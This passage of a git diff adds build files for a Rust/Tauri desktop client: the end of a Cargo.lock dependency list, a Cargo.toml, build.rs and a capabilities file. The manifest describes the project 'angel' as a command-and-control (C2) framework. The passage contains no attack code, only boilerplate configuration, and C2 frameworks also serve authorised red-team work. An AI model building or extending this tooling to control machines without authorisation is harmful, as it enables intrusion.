+] + +[[package]] +name = "thin-slice" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8eaa81235c7058867fa8c0e7314f33dcce9c215f535d1913822a2b3f5e289f3c" + +[[package]] +name = "thiserror" +version = "1.0.64" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d50af8abc119fb8bb6dbabcfa89656f46f84aa0ac7688088608076ad2b459a84" +dependencies = [ + "thiserror-impl", +] + +[[package]] +name = "thiserror-impl" +version = "1.0.64" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "08904e7672f5eb876eaaf87e0ce17857500934f4981c4a0ab2b4aa98baac7fc3" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.79", +] + +[[package]] +name = "time" +version = "0.3.36" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5dfd88e563464686c916c7e46e623e520ddc6d79fa6641390f2e3fa86e83e885" +dependencies = [ + "deranged", + "itoa 1.0.11", + "num-conv", + "powerfmt", + "serde", + "time-core", + "time-macros", +] + +[[package]] +name = "time-core" +version = "0.1.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ef927ca75afb808a4d64dd374f00a2adf8d0fcff8e7b184af886c3c87ec4a3f3" + +[[package]] +name = "time-macros" +version = "0.2.18" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3f252a68540fde3a3877aeea552b832b40ab9a69e318efd078774a01ddee1ccf" +dependencies = [ + "num-conv", + "time-core", +] + +[[package]] +name = "tinyvec" +version = "1.8.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "445e881f4f6d382d5f27c034e25eb92edd7c784ceab92a0937db7f2e9471b938" +dependencies = [ + "tinyvec_macros", +] + +[[package]] +name = "tinyvec_macros" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1f3ccbac311fea05f86f61904b462b55fb3df8837a366dfc601a0161d0532f20" + +[[package]] +name = "tokio" +version = "1.40.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e2b070231665d27ad9ec9b8df639893f46727666c6767db40317fbe920a5d998" +dependencies = [ + "backtrace", + "bytes", + "libc", + "mio", + "pin-project-lite", + "socket2", + "windows-sys 0.52.0", +] + +[[package]] +name = "tokio-util" +version = "0.7.12" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "61e7c3654c13bcd040d4a03abee2c75b1d14a37b423cf5a813ceae1cc903ec6a" +dependencies = [ + "bytes", + "futures-core", + "futures-sink", + "pin-project-lite", + "tokio", +] + +[[package]] +name = "toml" +version = "0.7.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "dd79e69d3b627db300ff956027cc6c3798cef26d22526befdfcd12feeb6d2257" +dependencies = [ + "serde", + "serde_spanned", + "toml_datetime", + "toml_edit 0.19.15", +] + +[[package]] +name = "toml" +version = "0.8.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "185d8ab0dfbb35cf1399a6344d8484209c088f75f8f68230da55d48d95d43e3d" +dependencies = [ + "serde", + "serde_spanned", + "toml_datetime", + "toml_edit 0.20.2", +] + +[[package]] +name = "toml_datetime" +version = "0.6.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7cda73e2f1397b1262d6dfdcef8aafae14d1de7748d66822d3bfeeb6d03e5e4b" +dependencies = [ + "serde", +] + +[[package]] +name = "toml_edit" +version = "0.19.15" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1b5bb770da30e5cbfde35a2d7b9b8a2c4b8ef89548a7a6aeab5c9a576e3e7421" +dependencies = [ + "indexmap 2.6.0", + "serde", + "serde_spanned", + "toml_datetime", + "winnow", +] + +[[package]] +name = "toml_edit" +version = "0.20.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "396e4d48bbb2b7554c944bde63101b5ae446cff6ec4a24227428f15eb72ef338" +dependencies = [ + "indexmap 2.6.0", + "serde", + "serde_spanned", + "toml_datetime", + "winnow", +] + +[[package]] +name = "tower-service" +version = "0.3.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8df9b6e13f2d32c91b9bd719c00d1958837bc7dec474d94952798cc8e69eeec3" + +[[package]] +name = "tracing" +version = "0.1.40" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c3523ab5a71916ccf420eebdf5521fcef02141234bbc0b8a49f2fdc4544364ef" +dependencies = [ + "pin-project-lite", + "tracing-core", +] + +[[package]] +name = "tracing-core" +version = "0.1.32" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c06d3da6113f116aaee68e4d601191614c9053067f9ab7f6edbcb161237daa54" +dependencies = [ + "once_cell", +] + +[[package]] +name = "tray-icon" +version = "0.19.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7c92af36a182b46206723bdf8a7942e20838cde1cf062e5b97854d57eb01763b" +dependencies = [ + "core-graphics", + "crossbeam-channel", + "dirs", + "libappindicator", + "muda", + "objc2", + "objc2-app-kit", + "objc2-foundation", + "once_cell", + "png", + "serde", + "thiserror", + "windows-sys 0.59.0", +] + +[[package]] +name = "try-lock" +version = "0.2.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e421abadd41a4225275504ea4d6566923418b7f05506fbc9c0fe86ba7396114b" + +[[package]] +name = "typeid" +version = "1.0.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0e13db2e0ccd5e14a544e8a246ba2312cd25223f616442d7f2cb0e3db614236e" + +[[package]] +name = "typenum" +version = "1.17.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "42ff0bf0c66b8238c6f3b578df37d0b7848e55df8577b3f74f92a69acceeb825" + +[[package]] +name = "unic-char-property" +version = "0.9.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a8c57a407d9b6fa02b4795eb81c5b6652060a15a7903ea981f3d723e6c0be221" +dependencies = [ + "unic-char-range", +] + +[[package]] +name = "unic-char-range" +version = "0.9.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0398022d5f700414f6b899e10b8348231abf9173fa93144cbc1a43b9793c1fbc" + +[[package]] +name = "unic-common" +version = "0.9.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "80d7ff825a6a654ee85a63e80f92f054f904f21e7d12da4e22f9834a4aaa35bc" + +[[package]] +name = "unic-ucd-ident" +version = "0.9.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e230a37c0381caa9219d67cf063aa3a375ffed5bf541a452db16e744bdab6987" +dependencies = [ + "unic-char-property", + "unic-char-range", + "unic-ucd-version", +] + +[[package]] +name = "unic-ucd-version" +version = "0.9.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "96bd2f2237fe450fcd0a1d2f5f4e91711124f7857ba2e964247776ebeeb7b0c4" +dependencies = [ + "unic-common", +] + +[[package]] +name = "unicode-bidi" +version = "0.3.17" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5ab17db44d7388991a428b2ee655ce0c212e862eff1768a455c58f9aad6e7893" + +[[package]] +name = "unicode-ident" +version = "1.0.13" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e91b56cd4cadaeb79bbf1a5645f6b4f8dc5bde8834ad5894a8db35fda9efa1fe" + +[[package]] +name = "unicode-normalization" +version = "0.1.24" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5033c97c4262335cded6d6fc3e5c18ab755e1a3dc96376350f3d8e9f009ad956" +dependencies = [ + "tinyvec", +] + +[[package]] +name = "unicode-segmentation" +version = "1.12.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f6ccf251212114b54433ec949fd6a7841275f9ada20dddd2f29e9ceea4501493" + +[[package]] +name = "url" +version = "2.5.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "22784dbdf76fdde8af1aeda5622b546b422b6fc585325248a2bf9f5e41e94d6c" +dependencies = [ + "form_urlencoded", + "idna", + "percent-encoding", + "serde", +] + +[[package]] +name = "urlpattern" +version = "0.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "70acd30e3aa1450bc2eece896ce2ad0d178e9c079493819301573dae3c37ba6d" +dependencies = [ + "regex", + "serde", + "unic-ucd-ident", + "url", +] + +[[package]] +name = "utf-8" +version = "0.7.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "09cc8ee72d2a9becf2f2febe0205bbed8fc6615b7cb429ad062dc7b7ddd036a9" + +[[package]] +name = "uuid" +version = "1.11.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f8c5f0a0af699448548ad1a2fbf920fb4bee257eae39953ba95cb84891a0446a" +dependencies = [ + "getrandom 0.2.15", + "serde", +] + +[[package]] +name = "version-compare" +version = "0.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "852e951cb7832cb45cb1169900d19760cfa39b82bc0ea9c0e5a14ae88411c98b" + +[[package]] +name = "version_check" +version = "0.9.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0b928f33d975fc6ad9f86c8f283853ad26bdd5b10b7f1542aa2fa15e2289105a" + +[[package]] +name = "vswhom" +version = "0.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "be979b7f07507105799e854203b470ff7c78a1639e330a58f183b5fea574608b" +dependencies = [ + "libc", + "vswhom-sys", +] + +[[package]] +name = "vswhom-sys" +version = "0.1.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d3b17ae1f6c8a2b28506cd96d412eebf83b4a0ff2cbefeeb952f2f9dfa44ba18" +dependencies = [ + "cc", + "libc", +] + +[[package]] +name = "walkdir" +version = "2.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "29790946404f91d9c5d06f9874efddea1dc06c5efe94541a7d6863108e3a5e4b" +dependencies = [ + "same-file", + "winapi-util", +] + +[[package]] +name = "want" +version = "0.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bfa7760aed19e106de2c7c0b581b509f2f25d3dacaf737cb82ac61bc6d760b0e" +dependencies = [ + "try-lock", +] + +[[package]] +name = "wasi" +version = "0.9.0+wasi-snapshot-preview1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cccddf32554fecc6acb585f82a32a72e28b48f8c4c1883ddfeeeaa96f7d8e519" + +[[package]] +name = "wasi" +version = "0.11.0+wasi-snapshot-preview1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9c8d87e72b64a3b4db28d11ce29237c246188f4f51057d65a7eab63b7987e423" + +[[package]] +name = "wasm-bindgen" +version = "0.2.95" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "128d1e363af62632b8eb57219c8fd7877144af57558fb2ef0368d0087bddeb2e" +dependencies = [ + "cfg-if", + "once_cell", + "wasm-bindgen-macro", +] + +[[package]] +name = "wasm-bindgen-backend" +version = "0.2.95" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cb6dd4d3ca0ddffd1dd1c9c04f94b868c37ff5fac97c30b97cff2d74fce3a358" +dependencies = [ + "bumpalo", + "log", + "once_cell", + "proc-macro2", + "quote", + "syn 2.0.79", + "wasm-bindgen-shared", +] + +[[package]] +name = "wasm-bindgen-futures" +version = "0.4.45" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cc7ec4f8827a71586374db3e87abdb5a2bb3a15afed140221307c3ec06b1f63b" +dependencies = [ + "cfg-if", + "js-sys", + "wasm-bindgen", + "web-sys", +] + +[[package]] +name = "wasm-bindgen-macro" +version = "0.2.95" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e79384be7f8f5a9dd5d7167216f022090cf1f9ec128e6e6a482a2cb5c5422c56" +dependencies = [ + "quote", + "wasm-bindgen-macro-support", +] + +[[package]] +name = "wasm-bindgen-macro-support" +version = "0.2.95" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "26c6ab57572f7a24a4985830b120de1594465e5d500f24afe89e16b4e833ef68" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.79", + "wasm-bindgen-backend", + "wasm-bindgen-shared", +] + +[[package]] +name = "wasm-bindgen-shared" +version = "0.2.95" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "65fc09f10666a9f147042251e0dda9c18f166ff7de300607007e96bdebc1068d" + +[[package]] +name = "wasm-streams" +version = "0.4.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4e072d4e72f700fb3443d8fe94a39315df013eef1104903cdb0a2abd322bbecd" +dependencies = [ + "futures-util", + "js-sys", + "wasm-bindgen", + "wasm-bindgen-futures", + "web-sys", +] + +[[package]] +name = "web-sys" +version = "0.3.72" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f6488b90108c040df0fe62fa815cbdee25124641df01814dd7282749234c6112" +dependencies = [ + "js-sys", + "wasm-bindgen", +] + +[[package]] +name = "webkit2gtk" +version = "2.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "76b1bc1e54c581da1e9f179d0b38512ba358fb1af2d634a1affe42e37172361a" +dependencies = [ + "bitflags 1.3.2", + "cairo-rs", + "gdk", + "gdk-sys", + "gio", + "gio-sys", + "glib", + "glib-sys", + "gobject-sys", + "gtk", + "gtk-sys", + "javascriptcore-rs", + "libc", + "once_cell", + "soup3", + "webkit2gtk-sys", +] + +[[package]] +name = "webkit2gtk-sys" +version = "2.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "62daa38afc514d1f8f12b8693d30d5993ff77ced33ce30cd04deebc267a6d57c" +dependencies = [ + "bitflags 1.3.2", + "cairo-sys-rs", + "gdk-sys", + "gio-sys", + "glib-sys", + "gobject-sys", + "gtk-sys", + "javascriptcore-rs-sys", + "libc", + "pkg-config", + "soup3-sys", + "system-deps", +] + +[[package]] +name = "webview2-com" +version = "0.33.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6f61ff3d9d0ee4efcb461b14eb3acfda2702d10dc329f339303fc3e57215ae2c" +dependencies = [ + "webview2-com-macros", + "webview2-com-sys", + "windows", + "windows-core 0.58.0", + "windows-implement", + "windows-interface", +] + +[[package]] +name = "webview2-com-macros" +version = "0.8.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1d228f15bba3b9d56dde8bddbee66fa24545bd17b48d5128ccf4a8742b18e431" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.79", +] + +[[package]] +name = "webview2-com-sys" +version = "0.33.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a3a3e2eeb58f82361c93f9777014668eb3d07e7d174ee4c819575a9208011886" +dependencies = [ + "thiserror", + "windows", + "windows-core 0.58.0", +] + +[[package]] +name = "winapi" +version = "0.3.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5c839a674fcd7a98952e593242ea400abe93992746761e38641405d28b00f419" +dependencies = [ + "winapi-i686-pc-windows-gnu", + "winapi-x86_64-pc-windows-gnu", +] + +[[package]] +name = "winapi-i686-pc-windows-gnu" +version = "0.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ac3b87c63620426dd9b991e5ce0329eff545bccbbb34f3be09ff6fb6ab51b7b6" + +[[package]] +name = "winapi-util" +version = "0.1.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cf221c93e13a30d793f7645a0e7762c55d169dbb0a49671918a2319d289b10bb" +dependencies = [ + "windows-sys 0.59.0", +] + +[[package]] +name = "winapi-x86_64-pc-windows-gnu" +version = "0.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "712e227841d057c1ee1cd2fb22fa7e5a5461ae8e48fa2ca79ec42cfc1931183f" + +[[package]] +name = "window-vibrancy" +version = "0.5.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3ea403deff7b51fff19e261330f71608ff2cdef5721d72b64180bb95be7c4150" +dependencies = [ + "objc2", + "objc2-app-kit", + "objc2-foundation", + "raw-window-handle", + "windows-sys 0.59.0", + "windows-version", +] + +[[package]] +name = "windows" +version = "0.58.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "dd04d41d93c4992d421894c18c8b43496aa748dd4c081bac0dc93eb0489272b6" +dependencies = [ + "windows-core 0.58.0", + "windows-targets 0.52.6", +] + +[[package]] +name = "windows-core" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "33ab640c8d7e35bf8ba19b884ba838ceb4fba93a4e8c65a9059d08afcfc683d9" +dependencies = [ + "windows-targets 0.52.6", +] + +[[package]] +name = "windows-core" +version = "0.58.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6ba6d44ec8c2591c134257ce647b7ea6b20335bf6379a27dac5f1641fcf59f99" +dependencies = [ + "windows-implement", + "windows-interface", + "windows-result", + "windows-strings", + "windows-targets 0.52.6", +] + +[[package]] +name = "windows-implement" +version = "0.58.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2bbd5b46c938e506ecbce286b6628a02171d56153ba733b6c741fc627ec9579b" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.79", +] + +[[package]] +name = "windows-interface" +version = "0.58.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "053c4c462dc91d3b1504c6fe5a726dd15e216ba718e84a0e46a88fbe5ded3515" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.79", +] + +[[package]] +name = "windows-registry" +version = "0.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e400001bb720a623c1c69032f8e3e4cf09984deec740f007dd2b03ec864804b0" +dependencies = [ + "windows-result", + "windows-strings", + "windows-targets 0.52.6", +] + +[[package]] +name = "windows-result" +version = "0.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1d1043d8214f791817bab27572aaa8af63732e11bf84aa21a45a78d6c317ae0e" +dependencies = [ + "windows-targets 0.52.6", +] + +[[package]] +name = "windows-strings" +version = "0.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4cd9b125c486025df0eabcb585e62173c6c9eddcec5d117d3b6e8c30e2ee4d10" +dependencies = [ + "windows-result", + "windows-targets 0.52.6", +] + +[[package]] +name = "windows-sys" +version = "0.45.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "75283be5efb2831d37ea142365f009c02ec203cd29a3ebecbc093d52315b66d0" +dependencies = [ + "windows-targets 0.42.2", +] + +[[package]] +name = "windows-sys" +version = "0.48.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "677d2418bec65e3338edb076e806bc1ec15693c5d0104683f2efe857f61056a9" +dependencies = [ + "windows-targets 0.48.5", +] + +[[package]] +name = "windows-sys" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "282be5f36a8ce781fad8c8ae18fa3f9beff57ec1b52cb3de0789201425d9a33d" +dependencies = [ + "windows-targets 0.52.6", +] + +[[package]] +name = "windows-sys" +version = "0.59.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1e38bc4d79ed67fd075bcc251a1c39b32a1776bbe92e5bef1f0bf1f8c531853b" +dependencies = [ + "windows-targets 0.52.6", +] + +[[package]] +name = "windows-targets" +version = "0.42.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8e5180c00cd44c9b1c88adb3693291f1cd93605ded80c250a75d472756b4d071" +dependencies = [ + "windows_aarch64_gnullvm 0.42.2", + "windows_aarch64_msvc 0.42.2", + "windows_i686_gnu 0.42.2", + "windows_i686_msvc 0.42.2", + "windows_x86_64_gnu 0.42.2", + "windows_x86_64_gnullvm 0.42.2", + "windows_x86_64_msvc 0.42.2", +] + +[[package]] +name = "windows-targets" +version = "0.48.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9a2fa6e2155d7247be68c096456083145c183cbbbc2764150dda45a87197940c" +dependencies = [ + "windows_aarch64_gnullvm 0.48.5", + "windows_aarch64_msvc 0.48.5", + "windows_i686_gnu 0.48.5", + "windows_i686_msvc 0.48.5", + "windows_x86_64_gnu 0.48.5", + "windows_x86_64_gnullvm 0.48.5", + "windows_x86_64_msvc 0.48.5", +] + +[[package]] +name = "windows-targets" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9b724f72796e036ab90c1021d4780d4d3d648aca59e491e6b98e725b84e99973" +dependencies = [ + "windows_aarch64_gnullvm 0.52.6", + "windows_aarch64_msvc 0.52.6", + "windows_i686_gnu 0.52.6", + "windows_i686_gnullvm", + "windows_i686_msvc 0.52.6", + "windows_x86_64_gnu 0.52.6", + "windows_x86_64_gnullvm 0.52.6", + "windows_x86_64_msvc 0.52.6", +] + +[[package]] +name = "windows-version" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6998aa457c9ba8ff2fb9f13e9d2a930dabcea28f1d0ab94d687d8b3654844515" +dependencies = [ + "windows-targets 0.52.6", +] + +[[package]] +name = "windows_aarch64_gnullvm" +version = "0.42.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "597a5118570b68bc08d8d59125332c54f1ba9d9adeedeef5b99b02ba2b0698f8" + +[[package]] +name = "windows_aarch64_gnullvm" +version = "0.48.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2b38e32f0abccf9987a4e3079dfb67dcd799fb61361e53e2882c3cbaf0d905d8" + +[[package]] +name = "windows_aarch64_gnullvm" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "32a4622180e7a0ec044bb555404c800bc9fd9ec262ec147edd5989ccd0c02cd3" + +[[package]] +name = "windows_aarch64_msvc" +version = "0.42.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e08e8864a60f06ef0d0ff4ba04124db8b0fb3be5776a5cd47641e942e58c4d43" + +[[package]] +name = "windows_aarch64_msvc" +version = "0.48.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "dc35310971f3b2dbbf3f0690a219f40e2d9afcf64f9ab7cc1be722937c26b4bc" + +[[package]] +name = "windows_aarch64_msvc" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "09ec2a7bb152e2252b53fa7803150007879548bc709c039df7627cabbd05d469" + +[[package]] +name = "windows_i686_gnu" +version = "0.42.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c61d927d8da41da96a81f029489353e68739737d3beca43145c8afec9a31a84f" + +[[package]] +name = "windows_i686_gnu" +version = "0.48.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a75915e7def60c94dcef72200b9a8e58e5091744960da64ec734a6c6e9b3743e" + +[[package]] +name = "windows_i686_gnu" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8e9b5ad5ab802e97eb8e295ac6720e509ee4c243f69d781394014ebfe8bbfa0b" + +[[package]] +name = "windows_i686_gnullvm" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0eee52d38c090b3caa76c563b86c3a4bd71ef1a819287c19d586d7334ae8ed66" + +[[package]] +name = "windows_i686_msvc" +version = "0.42.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "44d840b6ec649f480a41c8d80f9c65108b92d89345dd94027bfe06ac444d1060" + +[[package]] +name = "windows_i686_msvc" +version = "0.48.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8f55c233f70c4b27f66c523580f78f1004e8b5a8b659e05a4eb49d4166cca406" + +[[package]] +name = "windows_i686_msvc" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "240948bc05c5e7c6dabba28bf89d89ffce3e303022809e73deaefe4f6ec56c66" + +[[package]] +name = "windows_x86_64_gnu" +version = "0.42.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8de912b8b8feb55c064867cf047dda097f92d51efad5b491dfb98f6bbb70cb36" + +[[package]] +name = "windows_x86_64_gnu" +version = "0.48.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "53d40abd2583d23e4718fddf1ebec84dbff8381c07cae67ff7768bbf19c6718e" + +[[package]] +name = "windows_x86_64_gnu" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "147a5c80aabfbf0c7d901cb5895d1de30ef2907eb21fbbab29ca94c5b08b1a78" + +[[package]] +name = "windows_x86_64_gnullvm" +version = "0.42.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "26d41b46a36d453748aedef1486d5c7a85db22e56aff34643984ea85514e94a3" + +[[package]] +name = "windows_x86_64_gnullvm" +version = "0.48.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0b7b52767868a23d5bab768e390dc5f5c55825b6d30b86c844ff2dc7414044cc" + +[[package]] +name = "windows_x86_64_gnullvm" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "24d5b23dc417412679681396f2b49f3de8c1473deb516bd34410872eff51ed0d" + +[[package]] +name = "windows_x86_64_msvc" +version = "0.42.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9aec5da331524158c6d1a4ac0ab1541149c0b9505fde06423b02f5ef0106b9f0" + +[[package]] +name = "windows_x86_64_msvc" +version = "0.48.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ed94fce61571a4006852b7389a063ab983c02eb1bb37b47f8272ce92d06d9538" + +[[package]] +name = "windows_x86_64_msvc" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "589f6da84c646204747d1270a2a5661ea66ed1cced2631d546fdfb155959f9ec" + +[[package]] +name = "winnow" +version = "0.5.40" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f593a95398737aeed53e489c785df13f3618e41dbcd6718c6addbf1395aa6876" +dependencies = [ + "memchr", +] + +[[package]] +name = "winreg" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a277a57398d4bfa075df44f501a17cfdf8542d224f0d36095a2adc7aee4ef0a5" +dependencies = [ + "cfg-if", + "windows-sys 0.48.0", +] + +[[package]] +name = "wry" +version = "0.46.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6fa1c8c760041c64ce6be99f83d6cb55fe3fcd85a1ad46d32895f6e65cee87ba" +dependencies = [ + "base64 0.22.1", + "block2", + "crossbeam-channel", + "dpi", + "dunce", + "gdkx11", + "gtk", + "html5ever", + "http", + "javascriptcore-rs", + "jni", + "kuchikiki", + "libc", + "ndk", + "objc2", + "objc2-app-kit", + "objc2-foundation", + "objc2-ui-kit", + "objc2-web-kit", + "once_cell", + "percent-encoding", + "raw-window-handle", + "sha2", + "soup3", + "tao-macros", + "thiserror", + "webkit2gtk", + "webkit2gtk-sys", + "webview2-com", + "windows", + "windows-core 0.58.0", + "windows-version", + "x11-dl", +] + +[[package]] +name = "x11" +version = "2.21.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "502da5464ccd04011667b11c435cb992822c2c0dbde1770c988480d312a0db2e" +dependencies = [ + "libc", + "pkg-config", +] + +[[package]] +name = "x11-dl" +version = "2.21.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "38735924fedd5314a6e548792904ed8c6de6636285cb9fec04d5b1db85c1516f" +dependencies = [ + "libc", + "once_cell", + "pkg-config", +] + +[[package]] +name = "zerocopy" +version = "0.7.35" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1b9b4fd18abc82b8136838da5d50bae7bdea537c574d8dc1a34ed098d6c166f0" +dependencies = [ + "byteorder", + "zerocopy-derive", +] + +[[package]] +name = "zerocopy-derive" +version = "0.7.35" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fa4f8080344d4671fb4e831a13ad1e68092748387dfc4f55e356242fae12ce3e" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.79", +] diff --git a/full/Angel-client/src-tauri/Cargo.toml b/full/Angel-client/src-tauri/Cargo.toml new file mode 100644 index 0000000..6223363 --- /dev/null +++ b/full/Angel-client/src-tauri/Cargo.toml @@ -0,0 +1,24 @@ +[package] +name = "angel" +version = "0.1.0" +description = "Angel: lightweight & minimalistic, yet powerful and extensible C2 framework" +authors = ["0xkiss"] +edition = "2021" + +# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html + +[lib] +# The `_lib` suffix may seem redundant but it is necessary +# to make the lib name unique and wouldn't conflict with the bin name. +# This seems to be only an issue on Windows, see https://github.com/rust-lang/cargo/issues/8519 +name = "angel_lib" +crate-type = ["staticlib", "cdylib", "rlib"] + +[build-dependencies] +tauri-build = { version = "2", features = [] } + +[dependencies] +tauri = { version = "2", features = [] } +tauri-plugin-shell = "2" +serde = { version = "1", features = ["derive"] } +serde_json = "1" diff --git a/full/Angel-client/src-tauri/build.rs b/full/Angel-client/src-tauri/build.rs new file mode 100644 index 0000000..d9f5f1d --- /dev/null +++ b/full/Angel-client/src-tauri/build.rs @@ -0,0 +1,3 @@ +fn main() { + tauri_build::build() +} diff --git a/full/Angel-client/src-tauri/bun.lockb b/full/Angel-client/src-tauri/bun.lockb new file mode 100644 index 0000000..dc83c0e Binary files /dev/null and b/full/Angel-client/src-tauri/bun.lockb differ diff --git a/full/Angel-client/src-tauri/capabilities/default.json b/full/Angel-client/src-tauri/capabilities/default.json new file mode 100644 index 0000000..2a8c7a6 --- /dev/null +++ b/full/Angel-client/src-tauri/capabilities/default.json @@ -0,0 +1,7 @@ +{ + "$schema": "../gen/schemas/desktop-schema.json", + "identifier": "default", + "description": "Capability for the main window", + "windows": ["main"], + "permissions": ["core:default", "shell:allow-open"] +} diff 